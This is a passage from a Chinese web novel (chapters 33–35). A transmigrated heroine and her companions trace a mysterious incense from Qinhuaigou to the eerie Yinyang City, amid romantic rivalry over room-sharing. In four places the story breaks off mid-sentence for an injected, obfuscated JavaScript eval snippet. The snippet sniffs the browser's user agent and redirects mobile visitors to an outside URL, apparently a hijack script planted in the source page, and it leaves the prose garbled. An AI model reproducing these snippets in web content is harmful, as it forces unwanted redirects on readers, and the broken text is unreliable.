系统又适时的隐身去了,那边的霄无缺听见周春和的质问倒也没生气,气定神闲的说:“随便你们吧,不过我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576638|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会一直在后面跟着你们的。” 周夏莲:“……”这孩子倒是诚实。 她和裴瑾对视一眼,都不动声色的叹了口气,显然只是把这孩子当成了一个脾气大好奇心重的小孩,觉得他不过是在耍小孩子脾气而已。 周春和看霄无缺那样子就来气,不过鉴于自己也要做任务,不情不愿的清清嗓子,冷哼一声:“真是难缠的小孩……你想去也可以,交个归队费给我才行。” 周春和不从他身上敲点什么简直说不过去。呸!这死孩子。 不过其实她也没抱多少霄无缺会给她东西的希望,不过是想给双方一个台阶下而已。谁知道霄无缺听见之后还真思索了一下,接着就从袖子里拿出一样东西抛给了周春和。 周春和接过来一看,原来是一个夜明珠一样的透明小球,这小球不大,但是胜在小巧可爱。周春和不知道这是什么东西,只以为是一个小玩意,也没仔细研究,随手放进了兜里,但依然摆出一副趾高气扬的模样说:“既然如此,那你就和我们一起吧。” 说完又回头问周夏莲:“可以吗,阿姐?” 周夏莲自然是同意,其实就算是周春和不说这些话,他们也十有八九会同意。毕竟周夏莲和裴瑾都不是心硬之人,自然不忍心让这小孩一个人在后面跟着。 傅怀玉不会对这种事情发表什么看法,谢斯年又事事以周夏莲为先,所以这件事差不多也就拍板定下来了。 在去的路上裴瑾简单和霄无缺解释了一下他们去秦淮沟的目的,然后一行六人往秦淮沟走去。 原本这个时候周春和不是在谢斯年身边骚扰谢斯年就是在傅怀玉身边骚扰傅怀玉,但是今日她光顾着和霄无缺拌嘴了,倒是没来得及骚扰他们两人。 谢斯年一脸不悦,傅怀玉则若有所思的注视着霄无缺,片刻后,不知想到了什么,微微垂下眼睛,露出一个没人看见的笑来。 几个人很快就走到了秦淮沟,裴瑾看着挂在牌坊上的那破败的大匾,越看越觉得熟悉,思索两秒,恍然大悟道:“原来是这个‘秦淮沟’。” 周春和离他不远,敏锐的听见了这句话,立刻回头问:“什么叫‘原来是这个秦淮沟’?这个秦淮沟怎么了吗?” 裴瑾摇摇头,笑了一下,道:“没什么,只是看着这个牌匾想到一桩旧事。据说十几年前,这秦淮沟内一夜之间忽然出现了数百具尸体,且这些尸体全是猎妖人的尸体。除了秦淮沟,还有一个名叫‘阴阳城’的地方,也是隔了不久之后出现了数百具暴毙而亡的猎妖人尸体。” 周春和一听就觉得瘆得慌:“后来查清是谁做的了么?” 裴瑾摇摇头:“没有,这事查了好几年,但是没有查到一点头绪,也就不了了之了。不过过了十几年,谁也说不清当时是怎么回事,是不是有人夸大其词,编故事说给众人听。如今这两处地方也都有人居住,想来没什么事情。” 周春的面色凝重的点点头,不知为何,她心中隐隐生出一种不祥的预感 33. 泊烟香 一行人进了秦淮沟,果然见城内人烟阜盛,不似有什么异样。 周春和压下心里隐隐的不安,随着众人一路问过去,找到了制香的铺子。 这铺子名叫“寒山院”,看着颇有诗意。 裴瑾寻来铺子的老板张轻鸿,这老板看着和普通商贩没什么区别。周夏莲礼貌的同他聊了聊香料一事,这老板略一思索,说道:“你说的我隐约有点印象,我们确实向白庄供过货,不知那批货怎么了?” 周夏莲和裴瑾对视一眼,和颜悦色的说:“没什么,不过那泊烟香自来难做,寻常商户很难找到配方。我们今日来不过是想问问老板从哪里得来的这配方?” 谁知那老板却愣住了,一脸不解的看着周夏莲问:“什么‘泊烟香’?这又是什么香料?我们从未做过这种香。先前供给白庄的也不过是普通的安神香而已。” 这下轮到周夏莲愣住了,她蹙了蹙眉,说道:“能否让我们看看你们制出来的香?” 那老板知道他们的身份,自然也不会隐瞒什么,叫来了两个小厮,让他们带着周夏莲一行人去制香的地方瞧瞧。 制香的地方和这香料铺子隔了两条街,小厮一路上简单的给他们介绍了一番,很快将人带到了城郊制香的露天院子。 院子里面数十个工人正忙忙碌碌,熏蒸的熏蒸,炒制的炒制,忙得不亦乐乎。工具和各类大锅、瓦罐填满了小院的各个角落。 那小厮客客气气的说:“这就是我们制香的地方了。院子里的这些都是半成品,做好的就暂时先放在了库房里。” “不知库房在哪里呢?” 小厮连忙做了个“请”的手势,带着他们来到了坐落在院子角落的一间宽敞房子:“这里就是库房了。” 周春和跟在几个人后面进来,左看看右瞧瞧,这房间里面摆了好几箱香料,她随意走到其中一个箱子前问了问,一股直冲天灵盖的香味就扑鼻而来。 她连忙放下了盖子,又来到另一个编号不同的箱子前面闻了闻,这箱子里面也传来了一股浓郁的味道,只不过和先前那个的香味不是同一种。 周夏莲已经将房间里面的每箱香料都闻了闻,在最角落里的箱子里闻到了泊烟香熟悉的味道。她眼神一凛,问那小厮:“这是什么香?” 那小厮过来闻了闻,又上手碾了碾香料,很快笑着回答:“哦,这就是安神香。送到白庄的就是这个。” “那这些也是要送到白庄的么?” 谁知那小厮摇了摇头,指着这几个箱子随口说:“哦,这倒不是。这些是要送到阴阳城的。” 说起这个话题,那小厮又多说了几句:“这些香用料颇为复杂,不是咱们这边常用的香。供给白庄和阴阳城都是特定的,配方也是按照他们给的来,就连材料都是他们自己送了来,他们说这叫‘安神香’,一般本地人还真不用。哦,对了,每次做好一批,阴阳城还得亲自派人过来检查,拿货也是他们自己派人过来拿,做好之后根本不许我们再经手,十分的上心。” 周夏莲面色严肃的点了点头:“好,我们随处看看,若是有事再叫你。” 那小厮应了一声,很快转身忙去了。 房间里就只剩下他们几个人,周夏莲缓缓道:“这事有些蹊跷,看来这香铺老板对此香也并不了解,只不过是照着配料表制香罢了,甚至连材料都是直接送了过来,显然是怕被人发现这香料的秘密。白庄那怪物要此香是为了辅助炼制幻境,阴阳城要此香又是为了什么?不行,要想知道真相,我们还是要再跑一趟。” 大家纷纷点头,显然深有同感。 阴阳城离得倒是不远,只不过这一路上都没见到什么行人,委实有些奇怪。而且这地方也很奇怪,隐藏在层层叠叠森林之中,地势起伏不定,是个天然的屏障。 不过几个人没头苍蝇似的走了一阵,倒还真是顺利的找到了阴阳城。 来到城墙底下,大家看到城墙上面摇摇欲坠的牌匾,心里的疑惑更深。 这地方外表看着荒凉无比,爬山虎已经爬满了整面墙,木头做的大门已经沤了,门口坑坑洼洼,斑驳无比,像是久经风霜没有修整过,如果不是那小厮说这里还有人买香料,那他们即便是路过也只会觉得这里荒废了很久,说不定会进来坐坐,但肯定不会上心。 进来之后,几个人才惊觉这城内竟然还算是十分繁华。 不过这个“繁华”只是指熙熙攘攘的百姓很多,但城中的商铺、房子看起来和那城墙一样破败,像是好几年都不曾住过人一样。 周春和忍不住嘀咕两声:“这地方怎么看着这么破烂?住在这里的人都不嫌破么,为什么也不修一修?” 谢斯年眼神一扫,不知看到了什么,眉尖微微蹙起,但很快就放松下来:“他们觉不觉得不知道,但看见今晚咱们得住在这儿了。” 周春和摇了摇头,总觉得这里有一种说不出的违和感觉。 天色渐渐暗了下去,城中的客栈全都是一个破样儿,也不必去挑了。 裴瑾去定了了一个最近的客栈,两人一间房,大家先回房休息。 不过分房的时候,大家却有了分歧。 原本周夏莲想和周春和一间房,但傅怀玉状似无意的提了一句折腰花今夜或许会开,立刻就吸引了周春和的注意力。 折腰花还是之前两个人在幻境里时傅怀玉偶然和周春和提到的,花名的意思就是让人见之为之折腰,这花二十年才开一次,世间极其难寻。恰好傅怀玉之前偶然得到,他的乾坤袋里就种了这株花,最近似乎有要开的迹象,周春和当时一听立刻就来了兴致,缠着傅怀玉若是开花的话让他和自己说。 现在傅怀玉一提,周春和果然就好奇起来,她连忙说:“反正一个房间里面也有两张床。不如这样。我和傅怀玉睡一间,阿姐你就和裴公子一间,怎么样?” 傅怀玉正笑眯眯的要说好,霄无缺和谢斯年的声音同时响起来:“不行!” 周春和皱着眉回头看,就见眼前一黑,谢斯年和霄无缺不知道什么时候来到了她身边,两人一手抓住她的一只胳膊,谁也不让谁,几乎是异口同声的说出了“我和周春和住一间房”和“我和她住一起”。 两个人的视线在空气里碰撞,要是这眼神化成实质,客栈早就被捅成筛子了。 不知道为什么,从一开始两个人对上之后似乎都隐隐对对方有些微妙的敌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576639|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,就连谢斯年自己也觉得奇怪,自己的潜意识似乎很抗拒这个人。可这是一件很奇怪的事情,毕竟他和霄无缺从来没有见过面,为什么却会生出这种感觉来? 周夏莲不明白两人犯了什么病,莫名其妙的问:“你们怎么了?” 谢斯年略一皱眉,语气十分不悦:“我有话要问她。” 周夏莲更加莫名其妙:“那你现在问啊。” 谢斯年头一次和周夏莲说话的语气这么直白:“不行,这些话得只有我们两个的时候才能问。” 周夏莲皱着眉看着谢斯年,可能真是觉得他脑子不太正常。 谁知还没弄好谢斯年,那边霄无缺也嗤笑一声,浪荡的说:“巧了,我也有问题要问周春和,也必须得只有我们两个的时候问。” 周夏莲眉头皱的更深。 她不知道这是怎么一回事,可周春和在一边流了一后背的冷汗。 等等,这件事十分有十二分的不对劲! 她脑子转啊转,立马就猜到了两个人之所以想和她一起的原因—— 无非还是和那幻境有关。 谢斯年估计是想和她说妖力的事情,至于霄无缺,应该还是想问她为什么能毫发无伤的从幻境中出来。这些事确实不好当着众人的面问出来,若是和她一间房,那到时候隔声符一贴,怎么揍她外面都听不到。她向来不吃眼前亏,说不准到时候就全抖搂出来了。 真是日了狗了,上个副本不都结束了吗,这些人为什么还要追着她不放??? 落在这两个哪一个的手里她的下场都不太好,周春和现在尚且还在养精蓄锐的时候,和哪个正面刚都刚不过,只好先想想明哲保身的办法。 虽然她也有一肚子问题想问两个人,比如他们两人在幻境里到底经历了什么,霄无缺又是怎么顺利离开的幻境……不过显然现在不是个好时候。 她还没想出个万全之策,那边用眼神杀来杀去的两人又紧紧攥住了她手,一个比一个咬牙切齿: “我这事十万火急,必须要今日问!” “我也不遑多让,也必须要现在问!” 眼见两人越吵越上头,周春和顶着众人诧异的目光终于忍不住了,皮笑肉不笑的问:“不是,有没有人来管管我的死活。这事儿问过我的意见了吗?” 两个人一听,几乎是同时停了下来,直勾勾的盯着她问:“你选谁?” 周春和冷笑一声,恨恨的从他们手里抽出自己的胳膊,像是想要报复两个人对她的忽视似的恶狠狠的说:“我要和傅怀玉一起!” 谢斯年皱起眉头,下意识看向了傅怀玉,就见对方朝他微微歪头,露出一个怎么看怎么像是挑衅的笑。 他的脸色冷了下来,正要出声质问,就见周春和恰好也转过了头。 然后谢斯年就看到傅怀玉的神情变戏法似的在周春和扭头看过去的一刹那从挑衅变成了楚楚可怜。 明明他的表情没有什么大的变化,但是从眼神传递出来的信息让他整个人的状态都变了。 偏偏周春和还一无所知,见傅怀玉这副模样反倒安慰起他来。 谢斯年皮笑肉不笑,手里生生捏断了一根筷子。 34. 泊烟香 不管谢斯年和霄无缺两个人如何争执,最后的选择权其实还是在周春和手上,而她毫不犹豫地表示要和傅怀玉住一起。 谢斯年和霄无缺的表情一个比一个精彩,周春和厚着脸皮装看不见,推着傅怀玉进了最近的房间。 一进房间,她立刻松了一口气。 不管怎么样,起码她不用再绞尽脑汁的面对谢斯年和霄无缺这两人的盘问了,今天是暂时逃过了一劫。 她坐在了桌子边,拍了拍身边的凳子示意傅怀玉也坐过来。 傅怀玉坐下之后,她一扭头就看见了傅怀玉在微微歪头看她。 傅怀玉抬起广袖掩住唇角,眼底含笑,正安静的看着周春和。 这双眼睛看的周春和一愣又一愣,傅怀玉倒了一杯水,动作轻柔的推到周春和面前,睫毛上下扇动,先看杯子,又缓缓移到周春和的脸上,和她对视,骤然带上了温柔笑意:“姑娘喝点水吧。” 周春和看着他的嘴唇一张一合,沉溺在他天仙般的容貌中,一时间根本听不清人在说什么,稀里糊涂的端起水杯一饮而尽。 傅怀玉一直含笑看着她,等周春和放下了杯子,他忽然凑近了周春和,手里拿着一张帕子,动作轻柔的帮周春和擦净她嘴角的水珠。 傅怀玉的手伸过来的时候,周春和先闻到的是一股很淡很淡的香气,是一种花草的香味,自然妥帖,暖烘烘的十分舒服。 周春和享受着傅怀玉的照顾,开心地说:“你好香啊,香香的,和你多呆一会儿的话是不是就能和你一样香喷喷的了?” 傅怀玉忍俊不禁:“姑娘可以试试,不如就从今日开始吧。” 顿了顿,他似乎想到了什么,眼神闪了闪,不动声色的说:“不过看样子谢公子和霄公子也想与你一起住,虽然我也很想和姑娘一起看折腰花,但我不会这么强硬的拽着姑娘和我同住的……” 傅怀玉这么一说,周春和果然就想到了刚刚谢斯年和霄无缺争执的画面。不仅皱了皱眉头,有些烦:“哎呦,他们两个也真是,也不知道在吵什么,难道今天闻香熏到他们的脑子了?” 一想到之后还要应付这两个人的盘问,周春和就觉得一口气提不上来。谢斯年这个人做事毫无章法,而且他还极其聪明,只不过和周夏莲无关的事情他懒得计较而已,如今周春和知晓了他隐瞒的最大的秘密,她光是用脚丫子想想也能知道谢斯年绝对不会轻易放过她。前几日有周夏莲在身边护着,谢斯年或许找不到下手的机会,但他绝对不会善罢甘休的,一定还会再找机会单独和周春和在一起。到时候会是个什么光景,周春和想想就难受。 傅怀玉语调温柔,状似无意道:“我看他们似乎完全没顾念着姑娘的想法。” 周春和原本就为不知道该怎么过谢斯年这一关而坐立不安,和傅怀玉聊过之后更是有些焦急:“——那我偏不如他们的愿。”说着说着,周春和灵光一现,忽然想到了什么,有些激动的朝傅怀玉说,“傅怀玉,要不然这几日咱们都住在一起吧!” 有傅怀玉在身边,即便是周夏莲一时没有办法顾及到她,那谢斯年也别想再趁虚而入! 傅怀玉眸光闪了闪,垂下眼皮,脸上带了笑:“我自然是愿意和姑娘在一起的。只要姑娘愿意,不论什么时候我都会陪着姑娘。” 这番话说的周春和的脸都展开了,她自认为找到了一个绝佳的逃避办法,喜滋滋的和傅怀玉说:“还是你好,我喜欢和你呆在一起。” 虽然有时候逃避没有什么用,但周春和现在真的是不知道该怎么应付谢斯年。 她既心疼谢斯年的遭遇,又害怕被谢斯年灭口,怀着这么一个矛盾的念头,该怎么对待谢斯年她暂时还没什么头绪。 傅怀玉垂下眼皮,抬起广袖遮住唇边溢出的一丝笑意:“天色也不早了,咱们休息一下就一起下去吃饭吧。” 周春和乐滋滋的点了头。 两个人聊了会天,周春和缠着傅怀玉给自己看了他乾坤袋里的那些花,折腰花的花苞看着确实有盛开的迹象,周春和祈祷自己一定要赶上,这种花据说是百年难得一见,她倒要看看开花的时候到底是怎么个事儿。 不过周夏莲很快就来敲她的门,喊她出来吃饭了。 周春和出来之后才知道谢斯年和霄无缺不愿意住一起,裴瑾劝不过他们,只好让谢斯年和周夏莲住一起,自己和霄无缺一起住。 这房间就这么不情不愿的分好了,周春和有些不太道德的想,能和周夏莲在一起,谢斯年估计想刀了她的心就会稍稍减弱一点了。只是委屈了裴瑾,不仅要和女主分开,还要和这么一个脾气阴晴不定的人呆在一起。 楼下的桌子上已经摆好了饭菜,周春和喜滋滋的坐了下来,因为心情好,难得还主动给傅怀玉夹了一筷子菜。 然后一抬头,就对上谢斯年那双似笑非笑的眼眸。周春和打了个激灵,不明白为什么他都得偿所愿的和周夏莲在一起了,结果面对自己还是这么一副笑里藏刀的模样。 不过她很快释怀了,估计还是担心自己会把他有妖力这件事说出去吧。 嗨呀,这孩子哪里都好,就是不会动脑子想想,要是她真敢说出去,那谢斯年肯定饶不了她。 像她这么惜命的人,怎么可能会往外说呢? 不过不管怎么样,周春和在心里暗下决定,要是谢斯年实在是不放心,那以后有空了她一定要主动和谢斯年说清楚,让他明白自己绝对不会任何人透露他的秘密。这样的话他总该放心了吧? 不过现在就暂时先再拖一拖,她还不想这么早面对这么喜怒不定的大魔头。 想到自己想的这么全面,周春和的心情又好了一点,心情一好就想做点什么,于是她又给傅怀玉夹了一筷子菜。 店里的饭菜卖相很是一般,味道也一般,不过周春和不挑,有什么她就吃什么,毫无怨言。 谢斯年和周夏莲坐在了一起,习惯性的帮她把碟子里的花椒和辣椒挑了出去。 周夏莲吃不了辣椒,所以谢斯年每次和周夏莲一起吃饭,都会顺手帮她把她不喜欢吃的东西全部挑出去,好让周夏莲吃的更好。挑完辣椒之后,谢斯年又帮周夏莲夹了一些她喜欢吃的菜。 周夏莲爱吃什么不爱吃什么他记得清清楚楚,甚至有些菜他自己过敏他都记不太清,但有关于周夏莲的事情,他一件也不会记错。 谢斯年夹了一筷子排骨,还要再再夹,却被周夏莲挡住了:“春和也爱吃这个,剩下的就留给春和吧。” 她一脸慈爱的看着吃的满嘴流油的周春和,眼里的笑容都快溢出来了。 谢斯年随着她的目光看过去,周春和正双手拿着一块猪蹄啃。 周春和似乎特别喜欢吃猪蹄,不管是煲汤的猪蹄还是红烧的猪蹄,不管是清蒸的猪蹄还是爆炒的猪蹄,周春和统统不会放过。周夏莲很快摸清她的喜好,并且出于血缘关系所带来的自然而然地那种亲切感,她事事都宠着周春和,比她母亲有过之而无不及。所以自从周春和来了之后,好吃的好玩的周夏莲几乎都想一股脑儿全塞给周春和。 周春和啃的嘴边全是油花,她吃东西的时候一向没什么形象,如果吃饭的时候还要注意仪态,那这顿饭吃的也太没滋没味了。她不喜欢装腔作势,尤其是不愿意再面对好吃的的时候还不能放开手脚大吃大喝。 谢斯年盯着她看了一会儿,看着周春和踩着板凳啃完一整个猪蹄,看着周春和毫不在意的用小拇指剔牙,看着周春和一个人啃完所有的猪蹄…… 他一回头,就看见正笑眯眯一脸母性光辉看着周春和吃东西的周夏莲。 他再一回头,就看见裴瑾和傅怀玉同样一脸笑意的看着周春和。 周春和吃东西的时候特别满足,特别治愈人,所以大家脸上都忍不住带上了笑,只有谢斯年置身事外,带着一种不解的好奇。 这顿饭吃的有人欢喜有人烦,吃完之后天色已经不早了,大家就各自回房休息。 每个房间里面都有两张床,一张靠里一张靠外,周春和先选,选了靠里面的床,然后就收拾铺盖躺下休息了。 傅怀玉熄灯,蜡烛灭了之后,在夜色里,周春和听见他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两秒后,系统平静的有些反常的声音才响了起来:“宿主,你开心太早了。” “?” 系统的声音如丧考妣:“这个卡牌有一些限制条件。” “?” “卡牌的适用范围不包括男配。” “……” 周春和甚至想不出足够恶毒的话来骂街。 X的,这他大爷的是人话吗?抽出一张万人迷卡牌还不包括男配?那她要这张卡牌干什么,包饺子吗?周春和想到自己为了完成任务不得不忍着怒气带上霄无缺,顿时气不打一处来。 什么叫赔了夫人又折兵,这不就是说的她吗! 在心里窝窝囊囊的生了一会闷气,很快周春和又想到了一个可怕的可能:“等等,你说这卡牌的适用范围不包括男配,那包不包括男主?” 如果包括男主的话那不全毁了。 到时候她没攻略成功两个男配先把男主攻略了,这两个任务不就全黄了? 既没得到男配,还搅黄了男女主的幸福生活……想想就该死啊。 这破系统应该不会这么不要脸吧? 好在系统也说不包括男女主,周春和这才松了口气:“还好还好,太罪恶了。” 然后她反应过来,又忍不住破口大骂。 真是日了狗了,这卡牌既不能迷倒男配又对男主没用,那给她干嘛?有这个时间周春和还不如去喂一条狗,好歹狗还愿意让她撸一下。 有了这个小插曲,周春和是气的睡也睡不着了,索性戳系统出来查看一下两个人的好感度。 自从上个副本结束,她一次都还没想起来过查看好感度的事情。 系统很快将数据掉了出来,谢斯年的好感度是百分之三十,傅怀玉的好感度是…… ?百分之七十?? 这对吗! 周春和腾的一下从床上坐起来,眼睛瞪得比牛还大。 下一秒,傅怀玉温柔的声音就传来:“怎么了吗,我听到你那里有响动。” 周春和立刻捂着自己的嘴悄咪咪的躺下了,竭力用一种平常的声调说:“哦,没什么,我翻了个身。” “好,有什么事就喊我。” “嗯。” 周春和感受着自己砰砰的心跳,等傅怀玉那边没了声音才敢喘了口气。 妈耶,百分之七十的好感度,这直接完成了一大半,还要什么自行车! 35. 阴阳城 周春和激动的半宿没睡好,然后第二天就起晚了。 她顶着硕大的黑眼圈哈气连天的从床上坐起来,一扭头,看到了已经穿戴整齐的傅怀玉。 傅怀玉正笑眯眯的看着她,周春和一下子想到了昨晚看的好感度,心脏还是忍不住砰砰直跳了一阵。 难道……难道她就是那个天选之人,一下子就能通关任务??? 周春和昨晚睡不着的时候,掰着手指算了算她和傅怀玉相处的细节。 他们一共也才经历了两个副本,前前后后相处的时间加起来不超过一个月,可傅怀玉对她的好感度已经到达了惊人的七十。 按照这个速度来看,她还用不到一个月的时间就能完成任务,说不定就能从这里离开! 只要一想到这里,周春和的心脏就砰砰直跳。 她几乎是兴奋的在心里呐喊,去他的男配,去他的谢斯年,让所有反派统统滚蛋,她要拥抱美好生活了! 不过周春和也没敢太得意忘形,毕竟老话说事以密成嘛,在一切尘埃落定之前,她还是夹起尾巴做人。面对傅怀玉笑意盎然的表情,她清清嗓子,用之前那种沉稳的声音说:“你醒啦?什么时候起的,怎么起这么早?” 傅怀玉却笑了:“已经巳时了,大家都已经收拾完毕,准备吃早饭了。” 周春和大惊失色,慌忙就想掀被子:“什么?巳时了?怎么不早点喊我?阿姐他们呢?” 周春和只穿了一身白色的中衣,外袍脱下来搭在了床头。 周春和虽然已经来了好几天了,但还是没有完全适应这里的生活。中衣对她来说就是睡衣,穿出来大大方方的见人也没什么,她懒的时候甚至可以直接穿着中衣出去见人。但对这里的人来说,中衣还是属于比较私密的衣裳。 见周春和就这么大大咧咧的掀开了被子,傅怀玉下意识地别开了视线了,他咳了一声,声音似乎有些微微的起伏:“咳,不急。刚刚周姑娘来了一次,见你睡得正香,就没忍心打扰你。其他人正在楼下吃饭,等你穿好衣服,就可以下去吃饭了。” 周春和后知后觉的把被子盖了回去,傅怀玉听见动静,这才转过头重新对上了周春和的视线。 他道:“那我去楼下等着姑娘了。” 说着微微笑着点了点头,转身离开了,走之前还十分细心的不忘把门仔细关好。 周春和着急忙慌的穿好了衣服,一下楼就看见周夏莲他们围坐在一张木桌旁边,桌上摆着各色点心小食,都还没动过。 见周春和下来,周夏莲笑着和她说:“快来吃饭吧。” 周春和有些不好意思的摸了摸鼻子,讪笑道:“阿姐,刚刚怎么不喊我啊,真是太不好意思了,让你们一直等我。” 周夏莲笑道:“没关系的,我们在这里聊聊天,时间过的很快的。正好等着饭凉了。快来吃吧,点了你最爱的红糖开花馒头。” 周春和除了喜欢吃猪蹄,还喜欢吃甜的东西。周夏莲连这个都记在了心里。 周春和果然特别开心:“好!谢谢姐姐,我就知道阿姐你对我最好了!” 周夏莲被周春和的夸张表情逗得合不拢嘴。 几个人围坐在一起吃了一顿表面上看起来其乐融融的早饭。 吃过饭就要开始干正事了,周春和梳理了一下最近发生的事情,他们在白庄找到了失传已久的泊烟香,又根据从制香的秦淮沟得到的线索一路来到了阴阳城,现在他们要做的,就是顺着泊烟香的线索找到制香的幕后主使,并且知道这个幕后主使要做什么。 白庄的事情还有种种疑点没有解决,想要得到答案,估计这个阴阳城是个好去处。 秦淮沟制香的老板曾说这白庄和秦淮沟买香的人神龙不见尾,就连拿香都是要靠自己的人手出马,所以那老板知道的也不多。想查清楚这一切到底是怎么回事,还是得靠他们自己去探索。 吃过饭之后,周夏莲简单派发了一下任务。 因为他们对阴阳城还不甚熟悉,所以当务之急是先弄清楚城中的情况。 这个算是比较轻松的任务,周夏莲让谢斯年、周春和一同在城中走走,熟悉一下城中情况,她自己则和其他人去各个香铺问问,搜寻一下泊烟香的下落。 在周夏莲眼里,谢斯年和周春和都是弟弟妹妹,所以她私心想让他们做那些没有危险的工作。 一听要和谢斯年在一起,周春和立马拒绝:“等等等!阿姐,我其实更想和你在一起!要不让我和霄无换换,我跟你们一起,让霄无缺和谢斯年去城中转转。” 与此同时,谢斯年几乎和她同一时间开口:“可是阿姐,我想和你一起去,你知道的,你一个人我不放心。” 周夏莲狐疑的打量了一眼两个人,似乎不明白他们这么怎么回事。 谢斯年也看了一眼周春和,周春和却正专注又热切的盯着周夏莲。 周春和的眼里没有任何想和他同行的念头,只有对求周夏莲呆在自己身边的渴望。 谢斯年移开目光,不知道为什么忽然轻轻勾唇笑了一下。 周夏莲沉吟片刻,还是不太放心:“这香料来源古怪,想来寻香的路上不会太平,你与斯年年纪轻,阿姐实在是不放心你们跟着去凶险的地方。春和,听话,你们就在附近转转,打听打听有没有什么怪事,结束之后便去客栈呆着,没事就先不要出来了。” 周春和下意识地把央求的视线转向了谢斯年,她本以为谢斯年也会和她一样劝说周夏莲——毕竟他这么喜欢周夏莲,肯定希望和周夏莲呆在一起,不管是谁和周夏莲在一起,只要有周夏莲的介入,谢斯年肯定就不敢再对她做什么了。 可察觉到周春和祈求的目光之后,谢斯年只是若有所思的移开了目光,并没有像周春和期望的那样央求周夏莲。 周春和知道谢斯年没有指望之后,立刻在心里狠狠“呸”了一口。 这该死的谢斯年,该积极的时候不积极,不该积极的时候瞎积极。 死病娇,活该女主不喜欢你! 不过在心里偷偷吐槽归吐槽,周春和也不敢对着谢斯年表现出来。她还想再哀求一下周夏莲,毕竟周夏莲一向挡不住她撒娇,可是她还没开口,裴瑾已经三言两语定了下来:“我看阿莲这么决定就很好,既然大家都没有异议,就先这样行事吧。” 周春和一口老血差点把自己憋死。 不是大哥,你从哪里看出来“大家都没有异议”的?是她的异议表现得还不够明显吗? 听裴瑾这么一说,周夏莲险些被周春和说动的心又坚定起来,不得不说男女主不愧是在大是大非上一样脾性的人,决定好之后就丝毫不拖泥带水的开始执行。 他们不容周春和再多说,三下五除二就带着该带的人和东西离开了,就只剩下谢斯年和孤立无援的周春和。 周春和欲哭无泪,转头看向似笑非笑的谢斯年,她的心顿时凉了半截。 谢斯年歪了歪头,笑得很可爱:“走吧,周小姐。” 周春吧被谢斯年那笑容惊出了一身冷汗,怎么看怎么觉得谢斯年这笑容里憋着坏。 周夏莲给他们的任务就是在附近走走,打探打探消息,其实这根本就不算是正儿八经的“任务”,只不过是周夏莲怕他们受伤,又怕他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576641|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲着没事做无聊,所以给他们找了点清闲的事情做罢了。 他们住的这客栈附近倒是有大大小小很多店铺,买什么东西的都有,只是不知道为什么,即便是家家户户都开着,但街上依然给人一种“人丁凋零”的感觉。 呆着也是无聊,周春和和谢斯年沿着街边随便找了个方向边走边张望。 走到街角,一股异香从旁边的小巷子里传来。 周春和闻着这香味顿时觉得无比熟悉,皱着眉一思索,忽然想起这香在哪里闻到过了——这就是白庄学堂用的“泊烟香”! 周春和神色一凛,立刻下意识回头看向谢斯年。谢斯年显然比她更早察觉到这味道不对,已经若有所思的看向了那条小巷。 不知道是不是巷子上方被层层叠叠堆满了衣物和被褥的原因,里面的光线很暗,十米开外的地方根本看不见一点东西。阳光被屋檐和窗台挡住了大半,只有入口能看的清楚。 周春和和谢斯年对视一眼,她几乎是想也不想就和谢斯年说:“看来这条巷子不简单,咱们进去看看吧。” 谢斯年垂下眼皮,不知道在想什么,片刻后,他很快又抬起头,露出一个灿烂的笑:“好啊。” 周春和没注意到他眼底一闪而过的阴翳,在求知欲和好奇心的双重激励下,率先走进那个昏暗的小巷子,走了两步,还不忘回过头嘱咐谢斯年:“咱们错开进去,这样一会儿遇到什么危险我往外跑的时间就不会绊到你了。” 逆着光,周春和有些看不清谢斯年的表情,但她能看出来谢斯年听完她的话后点了点头。 周春和放下心来,和谢斯年一前一后循着香味往里走。 往里走了十来步之后,光线就已经完全消失了。周春和伸出手指在黑暗里仔细看了看,心说这才是真正的“伸手不见五指”。她小心翼翼地掏出两张周夏莲给她的符咒,以便随时抵御一会儿可能会出现的危险。 小巷子里极静,除了两个人有规律的脚步声之外,就再也听不见一点其他的声音了。 越往里走那种安静越明显,配合着这种漆黑的环境,周春和的心脏忍不住砰砰跳起来。 她走两步就忍不住叫一声谢斯年的名字,谢斯年那听起来一如既往吊儿郎当的声音就会在她身后应一下,想着身后还有个大活人陪着自己,周春和渐渐的也就习惯了。 又走了一会儿,就在周春和心里发毛,在想这个巷子怎么长的不正常的时候,一道不属于他们的脚步声忽然在她前方响了起来。 